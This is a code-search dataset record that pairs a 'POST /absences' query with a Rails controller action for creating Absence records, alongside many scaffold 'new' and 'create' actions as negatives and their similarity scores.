respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "def new\n @election_type = ElectionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @election_type }\n end\n end", "def new\n @spanish_vocab = SpanishVocab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spanish_vocab }\n end\n end", "def new\n @advocacy = Advocacy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advocacy }\n end\n end", "def new\n @laundromat = Laundromat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laundromat }\n end\n end", "def new\n @attend = Attend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attend }\n end\n end", "def new\n @candidate = Candidate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate }\n end\n end", "def new\n @announce_c = AnnounceC.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce_c }\n end\n end", "def new\n @descuento = Descuento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @descuento }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end", "def new\n @audience = Audience.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audience }\n end\n end", "def new\n @anniversary = Anniversary.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @anniversary }\n end\n end", "def new\n @cause = Cause.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cause }\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "def new\n @english_entry = EnglishEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @english_entry }\n end\n end", "def new\n @willclause = Willclause.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @willclause }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end", "def new\n @avert = Avert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @avert }\n end\n end", "def new\n @irregular_verb = IrregularVerb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def new\n @concept = Concept.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concept }\n end\n end", "def new\n @desc = Desc.new\n @phase_collection = Desc.phase_hashes\n @star_collection = Desc.star_hashes\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @desc }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end", "def new\n @mission = Mission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mission }\n end\n end", "def new\n @award = Award.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @award }\n end\n end", "def new\n @award = Award.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @award }\n end\n end", "def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end", "def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end", "def new\n @ledger_entry = LedgerEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ledger_entry }\n end\n end", "def new\n @voc = Voc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @voc }\n end\n end", "def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end", "def new\n @quest = Quest.new\n\t@categories = find_all_categories\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quest }\n end\n end", "def new\n @breadcrumb = 'create'\n @entity_type = EntityType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end", "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json :@journal }\n end\n end", "def new\n @assessment_course = AssessmentCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assessment_course }\n end\n end", "def new\n @cue = Cue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cue }\n end\n end", "def new\n @patentcase = Patentcase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @patentcase }\n end\n end", "def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end", "def new\n @strain = Strain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @strain }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @ped = Ped.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ped }\n end\n end", "def new\n @entrant = Entrant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entrant }\n end\n end", "def new\n @entrant = Entrant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entrant }\n end\n end", "def new\n @commitment = Commitment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commitment }\n end\n end", "def new\n @case_study = CaseStudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @case_study }\n end\n end", "def new\n @case_study = CaseStudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @case_study }\n end\n end", "def new\n @amenity = Amenity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @amenity }\n end\n end", "def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assunto }\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end", "def new\n @lector = Lector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lector }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @mission = Mission.new(:convocationjours => [Convocationjour.new])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @mission }\n end\n end", "def new\n @casestudy = Casestudy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @casestudy }\n end\n end", "def new\n @entree_journal = EntreeJournal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entree_journal }\n end\n end", "def new\n @referee = Referee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @referee }\n end\n end", "def new\n @id_proof = IdProof.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @id_proof }\n end\n end", "def new\n @amplicon = Amplicon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @amplicon }\n end\n end", "def new\n @oase = Oasis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @oase }\n end\n end", "def new\n @grade = Grade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grade }\n end\n end", "def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end", "def new\n @api_noun = Api::Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_noun }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end" ]
[ "0.7155519", "0.71454966", "0.70242625", "0.69607604", "0.6881329", "0.6860444", "0.68438476", "0.68144476", "0.6806807", "0.6793683", "0.6791644", "0.67862946", "0.67815584", "0.67811006", "0.67811006", "0.67811006", "0.67760485", "0.67666113", "0.67657375", "0.6743591", "0.6737345", "0.67316335", "0.6726794", "0.672571", "0.6698097", "0.6697925", "0.66978234", "0.6675754", "0.66331327", "0.66274756", "0.66256416", "0.6624094", "0.6623572", "0.6623285", "0.66225964", "0.66225964", "0.66225964", "0.66225964", "0.66225964", "0.66225964", "0.66225964", "0.66225964", "0.6611739", "0.66079915", "0.6601926", "0.65952545", "0.6585127", "0.65820545", "0.6574728", "0.65680456", "0.6562179", "0.6559029", "0.65484416", "0.65461177", "0.6541737", "0.653678", "0.65350056", "0.6534157", "0.6534157", "0.6533315", "0.6531027", "0.65302294", "0.6527267", "0.6523536", "0.65218115", "0.6517886", "0.6517833", "0.65141773", "0.651217", "0.650882", "0.65038353", "0.6503097", "0.65019983", "0.65019983", "0.6500049", "0.6499307", "0.6499307", "0.64942604", "0.6494138", "0.6494138", "0.64932483", "0.6493116", "0.6491553", "0.6491553", "0.6491189", "0.6488852", "0.6486644", "0.6483936", "0.64835393", "0.648201", "0.6481372", "0.64800644", "0.64782137", "0.6473949", "0.6473656", "0.6468766", "0.64653176", "0.64653176", "0.64653176", "0.64653176" ]
0.79217684
0
POST /absences POST /absences.json
def create @absence = Absence.new(params[:absence]) @title = "New Absence" respond_to do |format| if @absence.save format.html { redirect_to @absence, notice: 'Absence was successfully created.' } format.json { render json: @absence, status: :created, location: @absence } else format.html { render action: "new" } format.json { render json: @absence.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно создано.' }\n format.json { render :edit, status: :created, location: @absence }\n end\n end\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to @absence, notice: 'Absence was successfully created.' }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(absence_params)\n \n respond_to do |format|\n if @absence.save\n format.html { redirect_to employee_url(@absence.employee_id), :controller => :employees, notice: \"Absence was successfully created.\" }\n format.json { render :show, status: :created, location: @absence }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @absence = Absence.new(params[:absence])\n @absence.member_id = params[:member_id]\n @member = Member.find(params[:member_id])\n @club = Club.find(params[:club_id] ) \n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to club_member_absence_path(@club,@member,@absence), notice: 'Absence was successfully created.' }\n format.json { render json: @absence, status: :created, location: @absence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attendence = Attendence.new(params[:attendence])\n\n respond_to do |format|\n if @attendence.save\n format.html { redirect_to @attendence, notice: 'Attendence was successfully created.' }\n format.json { render json: @attendence, status: :created, location: @attendence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @absence = Absence.new\n @title = \"New Absence\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @absence }\n end\n end", "def create\n @attendence = Attendence.new(attendence_params)\n\n respond_to do |format|\n if @attendence.save\n format.html { redirect_to @attendence, notice: 'Attendence was successfully created.' }\n format.json { render :show, status: :created, location: @attendence }\n else\n format.html { render :new }\n format.json { render json: @attendence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ambience = Ambience.new(ambience_params)\n\n respond_to do |format|\n if @ambience.save\n format.html { redirect_to @ambience, notice: 'Ambience was successfully created.' }\n format.json { render :show, status: :created, location: @ambience }\n else\n format.html { render :new }\n format.json { render json: @ambience.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end", "def index\n @absences = Absence.all\n end", "def index\n @absences = Absence.all\n end", "def create\n @bank_agence = BankAgence.new(bank_agence_params)\n\n respond_to do |format|\n if @bank_agence.save\n format.html { redirect_to @bank_agence, notice: 'Bank agence was successfully created.' }\n format.json { render :show, status: :created, location: @bank_agence }\n else\n format.html { render :new }\n format.json { render json: @bank_agence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params.permit!\n @hr_attendence = Hr::Attendence.new(params[:hr_attendence])\n\n respond_to do |format|\n if @hr_attendence.save\n format.html { redirect_to(@hr_attendence, :notice => 'Attendence was successfully created.') }\n format.xml { render :xml => @hr_attendence, :status => :created, :location => @hr_attendence }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hr_attendence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @group = Group.find(params[:group_id])\n @asistence = Asistence.new(params[:asistence])\n\n respond_to do |format|\n if @asistence.save\n format.html { redirect_to @group, :notice => 'Asistence was successfully created.' }\n format.json { render :json => @asistence, :status => :created, :location => @asistence }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @asistence.errors, :status => :unprocessable_entity }\n end\n end\n end", "def ambience_params\n params.require(:ambience).permit(:name, :is_deleted)\n end", "def absence_request_params\n params.require(:absence_request).permit(:start_date, :end_date, :request_type, :absence_type, :hours_requested, notes: [:content])\n end", "def update\n respond_to do |format|\n if @absence.update(absence_params)\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { render :show, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to absences_url }\n format.json { head :no_content }\n end\n end", "def get_fences(*args)\n\tfences = @@vars['access_token'].request(:get, \"/api/v3/geo_fences\", HEADERS)\n\tresult = nil\n\tif args.length > 0\n\t\taux = JSON[fences.body][args[0]]\n\t\tfor i in aux['shapes']\n\t\t\ti['points'] = []\n\t\tend\n\t\tresult = [aux.to_json]\n\n\telse\n\t\tresult = fences.body\n\tend\n\n\treturn result\nend", "def new\n @absence = Absence.new\n @member = Member.find(params[:member_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @absence }\n end\n end", "def create\n @sentence = Sentence.new(sentence_params)\n\n respond_to do |format|\n if @sentence.save\n format.html { redirect_to @sentence, notice: 'Sentence was successfully created.' }\n format.json { render :show, status: :created, location: @sentence }\n else\n format.html { render :new }\n format.json { render json: @sentence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sentence = Sentence.new(sentence_params)\n\n respond_to do |format|\n if @sentence.save\n format.html { redirect_to @sentence, notice: 'Sentence was successfully created.' }\n format.json { render json: @sentence, status: :created, location: @sentence }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sentence.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def set_absence\n @absence = Absence.find(params[:id])\n end", "def create\n @cadet = Cadet.new(params[:cadet])\n\n respond_to do |format|\n if @cadet.save\n format.html { redirect_to @cadet, notice: 'Cadet was successfully created.' }\n format.json { render json: @cadet, status: :created, location: @cadet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cadet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @vocab = Vocab.new(vocab_params)\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: \"Vocab was successfully created.\" }\n format.json { render :show, status: :created, location: @vocab }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attendence_info = AttendenceInfo.new(attendence_info_params)\n\n respond_to do |format|\n if @attendence_info.save\n format.html { redirect_to @attendence_info, notice: 'Attendence info was successfully created.' }\n format.json { render :show, status: :created, location: @attendence_info }\n else\n format.html { render :new }\n format.json { render json: @attendence_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @abet = Abet.new(abet_params)\n\n respond_to do |format|\n if @abet.save\n format.html { redirect_to @abet, notice: 'ABET Criteria was successfully created.' }\n format.json { render :show, status: :created, location: @abet }\n else\n format.html { render :new }\n format.json { render json: @abet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end", "def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @absence.destroy\n respond_to do |format|\n format.html { redirect_to absences_url, notice: 'Absence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @attendence_type = AttendenceType.new(attendence_type_params)\n\n respond_to do |format|\n if @attendence_type.save\n format.html { redirect_to @attendence_type, notice: 'Attendence type was successfully created.' }\n format.json { render :show, status: :created, location: @attendence_type }\n else\n format.html { render :new }\n format.json { render json: @attendence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @absence.destroy\n respond_to do |format|\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно удалено.' }\n format.json { head :no_content }\n end\n end", "def new\n @group = Teacher.find(session[:id]).group\n @asistence = Asistence.new\n @asistence.group = @group\n @group.asistences << @asistence\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @asistence }\n end\n end", "def create\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.build(params[:absence_request])\n\n respond_to do |format|\n if @absence_request.save\n format.html { redirect_to taskrequest_process_step_url(@step.taskrequest), :notice => 'Aanvraag Afwezigheid was succesvol verstuurd.' }\n format.xml { render :xml => @absence_request, :status => :created, :location => @absence_request }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @spanish_vocab = SpanishVocab.new(params[:spanish_vocab])\n\n respond_to do |format|\n if @spanish_vocab.save\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully created.' }\n format.json { render json: @spanish_vocab, status: :created, location: @spanish_vocab }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end", "def new\n @attendence = Attendence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendence }\n end\n end", "def my_absences\n @absences = AttendanceRecord.get_absences(current_user)\n end", "def create\n @absence = AttendanceRecord.find(params[:excuse][:attendance_record_id])\n @excuse = Excuse.new(excuse_params)\n @excuse.attendance_record = @absence\n @excuse.save\n redirect_to excuses_my_absences_path\n end", "def create\n @verb = Verb.new(:infinitive => verb_params[:infinitive], :translation => verb_params[:translation], :group => verb_params[:group])\n if @verb.save\n @tenses.each_with_index do |tense, index|\n @forms.each_with_index do |form, index2|\n if(verb_params[tense][form].strip != '')\n @form = Form.new(:content => verb_params[tense][form], :temp => index.to_i, :person => index2.to_i,:verb => @verb)\n @form.save\n end\n end\n end\n end\n\n respond_to do |format|\n if @verb.save\n format.html { redirect_to @verb, notice: 'Verb was successfully created.' }\n format.json { render action: 'show', status: :created, location: @verb }\n else\n format.html { render action: 'new' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @absences = Absence.where(\"member_id = ?\",params[:member_id]).order(\"start_date DESC\").page(params[:page]).per(7)\n @member = Member.find(params[:member_id])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absences }\n end\n end", "def create\n logger.debug \"-----create-----\"\n @vocab_word = VocabWord.new(vocab_word_params)\n logger.debug \"-----before do-----\"\n logger.debug \"---\" + vocab_word_params.to_s\n respond_to do |format|\n if @vocab_word.save\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully created.' }\n format.json { render :show, status: :created, location: @vocab_word }\n else\n format.html { render :new }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admitting = Admitting.new(admitting_params)\n\n if @admitting.save\n render json: @admitting, status: :created, location: @admitting\n else\n render json: @admitting.errors, status: :unprocessable_entity\n end\n end", "def create\n @resume = Resume.new(complete_params)\n\n if @resume.save\n render json: @resume, status: :created, location: @resume\n else\n render json: @resume.errors, status: :unprocessable_entity\n end\n end", "def absences_log_params\n params.require(:absences_log).permit(:absence_id, :log_id)\n end", "def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def bank_agence_params\n params.require(:bank_agence).permit(:agence, :address)\n end", "def create\n @award = Award.new(award_params)\n respond_to do |format|\n if @award.save\n a_data = JSON.parse params[:json_string]\n a_data.each do |a|\n @item = get_new_award_item(@award, a) unless a.nil?\n end\n AwardMailer.approval_request(@award)\n if current_user.admin\n format.html { redirect_to patient_path(@award.patient), notice: 'Award was successfully created.' }\n else\n format.html { redirect_to new_patient_path, notice: 'Award was successfully created.' }\n end\n format.json { render :show, status: :created, location: @award }\n else\n format.html { render :new }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n sheeps = params[:sheeps]\n return if params_are_empty(sheeps)\n \n @activity = Activity.new date: convert_date_to_i(params[:date]), comment: params[:comment], a_type: params[:type_of_a], total_costs:params[:total_costs], location: 'farma'\n sheeps.each do |p|\n @vacination = Vacination.new sheep_id:p[:sheep_id], reason: params[:reason], vaccin_name: params[:vaccin_name]\n @activity.vacinations.push(@vacination)\n end\n \n respond_to do |format|\n if @activity.save\n desrtoy_activity(params[:activity_id])\n format.html { redirect_to '/vacinations/'+ @activity.id.to_s, notice: 'Vacination was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vacination }\n else\n format.html { render action: 'new' }\n format.json { render json: @vacination.errors, status: :unprocessable_entity }\n end\n end\n end", "def abet_params\n params.require(:abet).permit(:name, :description, :poor, :acceptable, :exceeds)\n end", "def create\n # puts \"params: #{params}\"\n @resume = Resume.new(resume_params)\n header_build(@resume)\n education_build(@resume)\n work_experience_build(@resume)\n skills_build(@resume)\n if @resume.save\n render json: @resume, status: :created, location: api_v1_resumes_url(@resume)\n else\n render json: @resume.errors, status: :unprocessable_entity\n end\n end", "def create\n @answer = AttemptAnswer.new(answer_params) \n \n if @answer.save\n render json: @answer, status: :created \n else\n head(:unprocessable_entity)\n end\n end", "def create\n is_ok = true\n begin\n @passage = Passage.create!( passage_params )\n rescue\n is_ok = false\n end\n render( status: (is_ok ? 201 : 422), json: @passage )\n end", "def create\n @audience = Audience.new(params[:audience])\n\n respond_to do |format|\n if @audience.save\n format.html { redirect_to @audience, notice: 'Audience was successfully created.' }\n format.json { render json: @audience, status: :created, location: @audience }\n else\n format.html { render action: \"new\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advocacy = Advocacy.new(params[:advocacy])\n\n respond_to do |format|\n if @advocacy.save\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully created.' }\n format.json { render json: @advocacy, status: :created, location: @advocacy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @desease = Desease.new(desease_params)\n\n if @desease.save\n render json: @desease, status: :ok\n else\n render json: @desease.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to club_member_absences_path(params[:club_id],current_member) }\n format.json { head :ok }\n end\n end", "def create\n @demand = Demand.new(demand_params)\n # byebug\n authorize @demand\n # @demand.competences.build(demand_params[:competence_ids])\n respond_to do |format|\n if @demand.save\n @demand.competence_ids = params[:demand][:competence_ids].first.split(',')\n @demand.criterion_ids = params[:demand][:criterion_ids].first.split(',')\n format.html { redirect_to @demand, notice: 'Demand was successfully created.' }\n format.json { render :show, status: :created, location: @demand }\n format.js\n else\n format.html { render :new }\n format.json { render json: @demand.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n @amendment = Amendment.new(params[:amendment])\n\n respond_to do |format|\n if @amendment.save\n format.html { redirect_to @amendment, notice: 'Amendment was successfully created.' }\n format.json { render json: @amendment, status: :created, location: @amendment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @amendment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ambiance = Ambiance.new(params[:ambiance])\n\n respond_to do |format|\n if @ambiance.save\n format.html { redirect_to(@ambiance, :notice => 'L ambiance a ete creee.') }\n format.xml { render :xml => @ambiance, :status => :created, :location => @ambiance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ambiance.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @avert = Avert.new(params[:avert])\n\n respond_to do |format|\n if @avert.save\n format.html { redirect_to @avert, notice: 'Avert was successfully created.' }\n format.json { render json: @avert, status: :created, location: @avert }\n else\n format.html { render action: \"new\" }\n format.json { render json: @avert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @announcament = Announcament.new(announcament_params)\n\n respond_to do |format|\n if @announcament.save\n format.html { redirect_to @announcament, notice: 'Announcament was successfully created.' }\n format.json { render :show, status: :created, location: @announcament }\n else\n format.html { render :new }\n format.json { render json: @announcament.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @amenity = Amenity.new(amenity_params)\n\n respond_to do |format|\n if @amenity.save\n format.html { redirect_to @amenity, notice: 'Amenity was successfully created.' }\n format.json { render :show, status: :created, location: @amenity }\n else\n format.html { render :new }\n format.json { render json: @amenity.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_rest\n @entry_answer = EntryAnswer.new(params[:entry_answer])\n\n respond_to do |format|\n if @entry_answer.save\n flash[:notice] = 'EntryAnswer was successfully created.'\n format.html { redirect_to(@entry_answer) }\n format.xml { render :xml => @entry_answer, :status => :created, :location => @entry_answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def absence_params\n params.require(:absence).permit(:remove_image, :image, :instance_no, :date, :end_date, :full_pay, :half_pay, :description, :employee_id)\n end", "def create\n @ambulanceinfo = Ambulanceinfo.new(ambulanceinfo_params)\n\n respond_to do |format|\n if @ambulanceinfo.save\n format.html { redirect_to @ambulanceinfo, notice: 'Ambulanceinfo was successfully created.' }\n format.json { render :show, status: :created, location: @ambulanceinfo }\n else\n format.html { render :new }\n format.json { render json: @ambulanceinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @announcement = Announcement.new({title: params[:title], description: params[:description], price: params[:price], photo: params[:photo], user_id: params[:user_id], latitude: params[:latitude], longitude: params[:longitude], subcategory_id: params[:subcategory_id], place: params[:place]})\n @announcement.save\n render json:@announcement\n end", "def create\n @akce = Akce.new(akce_params)\n\n respond_to do |format|\n if @akce.save\n format.html { redirect_to @akce, notice: 'Akce was successfully created.' }\n format.json { render :show, status: :created, location: @akce }\n else\n format.html { render 